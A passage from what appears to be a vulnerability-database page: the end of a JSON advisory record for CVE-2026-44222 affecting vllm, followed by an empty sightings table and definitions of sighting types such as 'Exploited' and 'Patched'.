"name": "vllm"
}
],
"category": "vendor",
"name": "Open Source"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-44222",
"product_status": {
"known_affected": [
"T053545"
]
},
"release_date": "2026-05-05T22:00:00.000+00:00",
"title": "CVE-2026-44222"
}
]
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.